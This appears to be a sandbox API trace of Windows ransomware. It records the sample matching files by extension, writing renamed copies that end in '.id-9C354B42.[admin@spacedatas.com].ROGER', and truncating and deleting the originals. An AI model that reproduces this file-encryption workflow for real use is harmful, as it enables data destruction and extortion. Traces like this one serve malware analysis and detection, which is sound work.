[0047.483] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.483] lstrlenW (lpString=".pdf") returned 4 [0047.483] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.483] lstrlenW (lpString=".xls") returned 4 [0047.483] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.484] lstrlenW (lpString=".xlsx") returned 5 [0047.484] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.484] lstrlenW (lpString=".ppt") returned 4 [0047.484] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0047.484] lstrlenW (lpString=".zip") returned 4 [0047.484] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.484] lstrlenW (lpString=".rar") returned 4 [0047.484] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.484] lstrlenW (lpString=".bz2") returned 4 [0047.484] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.484] lstrlenW (lpString=".7z") returned 3 [0047.484] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0047.484] lstrlenW (lpString=".dbf") returned 4 [0047.484] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0047.484] lstrlenW (lpString=".1cd") returned 4 [0047.484] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0047.484] lstrlenW (lpString=".jpg") returned 4 [0047.484] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.484] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0047.484] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.484] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0047.485] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=945) returned 1 [0047.485] CloseHandle (hObject=0x3e4) returned 1 [0047.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 0x20 [0047.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.485] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0047.485] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.485] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.485] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0047.487] GetLastError () returned 0x0 [0047.487] ReadFile (in: hFile=0x3e4, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x3b1, lpOverlapped=0x0) returned 1 [0047.488] WriteFile (in: hFile=0x3d8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x3c0, lpOverlapped=0x0) returned 1 [0047.489] ReadFile (in: hFile=0x3e4, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.489] WriteFile (in: hFile=0x3d8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.489] SetEndOfFile (hFile=0x3d8) returned 1 [0047.490] CloseHandle (hObject=0x3d8) returned 1 [0047.490] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.490] SetEndOfFile (hFile=0x3e4) returned 1 [0047.491] CloseHandle (hObject=0x3e4) returned 1 [0047.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0047.491] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 1 [0047.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0047.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0047.491] lstrlenW (lpString=".doc") returned 4 [0047.491] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.491] lstrlenW (lpString=".docx") returned 5 [0047.491] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.491] lstrlenW (lpString=".pdf") returned 4 [0047.491] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.491] lstrlenW (lpString=".xls") returned 4 [0047.491] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.491] lstrlenW (lpString=".xlsx") returned 5 [0047.491] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.491] lstrlenW (lpString=".ppt") returned 4 [0047.491] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0047.492] lstrlenW (lpString=".zip") returned 4 [0047.492] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.492] lstrlenW (lpString=".rar") returned 4 [0047.492] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.492] lstrlenW (lpString=".bz2") returned 4 [0047.492] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.492] lstrlenW (lpString=".7z") returned 3 [0047.492] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0047.492] lstrlenW (lpString=".dbf") returned 4 [0047.492] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0047.492] lstrlenW (lpString=".1cd") returned 4 [0047.492] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0047.492] lstrlenW (lpString=".jpg") returned 4 [0047.492] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0047.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0047.492] lstrlenW (lpString=".doc") returned 4 [0047.492] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.492] lstrlenW (lpString=".docx") returned 5 [0047.492] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.492] lstrlenW (lpString=".pdf") returned 4 [0047.492] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.492] lstrlenW (lpString=".xls") returned 4 [0047.492] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.492] lstrlenW (lpString=".xlsx") returned 5 [0047.492] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.492] lstrlenW (lpString=".ppt") returned 4 [0047.492] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0047.493] lstrlenW (lpString=".zip") returned 4 [0047.493] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.493] lstrlenW (lpString=".rar") returned 4 [0047.493] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.493] lstrlenW (lpString=".bz2") returned 4 [0047.493] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.493] lstrlenW (lpString=".7z") returned 3 [0047.493] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0047.493] lstrlenW (lpString=".dbf") returned 4 [0047.493] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0047.493] lstrlenW (lpString=".1cd") returned 4 [0047.493] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0047.493] lstrlenW (lpString=".jpg") returned 4 [0047.493] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.493] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0047.493] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.493] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0047.494] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=32607) returned 1 [0047.494] CloseHandle (hObject=0x3e4) returned 1 [0047.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 0x20 [0047.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.494] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0047.494] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.494] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.494] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0047.494] GetLastError () returned 0x0 [0047.494] ReadFile (in: hFile=0x3e4, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x7f5f, lpOverlapped=0x0) returned 1 [0047.868] WriteFile (in: hFile=0x3d8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x7f60, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x7f60, lpOverlapped=0x0) returned 1 [0047.889] ReadFile (in: hFile=0x3e4, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.890] WriteFile (in: hFile=0x3d8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.890] SetEndOfFile (hFile=0x3d8) returned 1 [0047.890] CloseHandle (hObject=0x3d8) returned 1 [0047.890] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.890] SetEndOfFile (hFile=0x3e4) returned 1 [0047.891] CloseHandle (hObject=0x3e4) returned 1 [0047.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0047.891] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 1 [0047.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0047.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0047.891] lstrlenW (lpString=".doc") returned 4 [0047.891] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.891] lstrlenW (lpString=".docx") returned 5 [0047.891] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.891] lstrlenW (lpString=".pdf") returned 4 [0047.892] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.892] lstrlenW (lpString=".xls") returned 4 [0047.892] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.892] lstrlenW (lpString=".xlsx") returned 5 [0047.892] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.892] lstrlenW (lpString=".ppt") returned 4 [0047.892] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0047.892] lstrlenW (lpString=".zip") returned 4 [0047.892] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.892] lstrlenW (lpString=".rar") returned 4 [0047.892] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.892] lstrlenW (lpString=".bz2") returned 4 [0047.892] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.892] lstrlenW (lpString=".7z") returned 3 [0047.892] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0047.892] lstrlenW (lpString=".dbf") returned 4 [0047.892] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0047.892] lstrlenW (lpString=".1cd") returned 4 [0047.892] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0047.892] lstrlenW (lpString=".jpg") returned 4 [0047.892] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0047.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0047.892] lstrlenW (lpString=".doc") returned 4 [0047.892] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.892] lstrlenW (lpString=".docx") returned 5 [0047.892] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.893] lstrlenW (lpString=".pdf") returned 4 [0047.893] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.893] lstrlenW (lpString=".xls") returned 4 [0047.893] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.893] lstrlenW (lpString=".xlsx") returned 5 [0047.893] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.893] lstrlenW (lpString=".ppt") returned 4 [0047.893] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0047.893] lstrlenW (lpString=".zip") returned 4 [0047.893] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.893] lstrlenW (lpString=".rar") returned 4 [0047.893] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.893] lstrlenW (lpString=".bz2") returned 4 [0047.893] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.893] lstrlenW (lpString=".7z") returned 3 [0047.893] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0047.893] lstrlenW (lpString=".dbf") returned 4 [0047.893] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0047.893] lstrlenW (lpString=".1cd") returned 4 [0047.893] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0047.893] lstrlenW (lpString=".jpg") returned 4 [0047.893] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.893] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0047.893] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0047.894] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=1287) returned 1 [0047.894] CloseHandle (hObject=0x3e4) returned 1 [0047.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 0x20 [0047.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0047.894] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.894] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0048.034] GetLastError () returned 0x0 [0048.034] ReadFile (in: hFile=0x3e4, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x507, lpOverlapped=0x0) returned 1 [0048.036] WriteFile (in: hFile=0x3a0, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x510, lpOverlapped=0x0) returned 1 [0048.037] ReadFile (in: hFile=0x3e4, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.037] WriteFile (in: hFile=0x3a0, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.037] SetEndOfFile (hFile=0x3a0) returned 1 [0048.037] CloseHandle (hObject=0x3a0) returned 1 [0048.037] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.037] SetEndOfFile (hFile=0x3e4) returned 1 [0048.038] CloseHandle (hObject=0x3e4) returned 1 [0048.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.038] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 1 [0048.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0048.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0048.038] lstrlenW (lpString=".doc") returned 4 [0048.038] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.038] lstrlenW (lpString=".docx") returned 5 [0048.038] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.038] lstrlenW (lpString=".pdf") returned 4 [0048.038] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.038] lstrlenW (lpString=".xls") returned 4 [0048.038] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.038] lstrlenW (lpString=".xlsx") returned 5 [0048.038] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.039] lstrlenW (lpString=".ppt") returned 4 [0048.039] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0048.039] lstrlenW (lpString=".zip") returned 4 [0048.039] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.039] lstrlenW (lpString=".rar") returned 4 [0048.039] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.039] lstrlenW (lpString=".bz2") returned 4 [0048.039] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.039] lstrlenW (lpString=".7z") returned 3 [0048.039] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0048.039] lstrlenW (lpString=".dbf") returned 4 [0048.039] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0048.039] lstrlenW (lpString=".1cd") returned 4 [0048.039] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0048.039] lstrlenW (lpString=".jpg") returned 4 [0048.039] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0048.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0048.039] lstrlenW (lpString=".doc") returned 4 [0048.039] lstrcmpiW 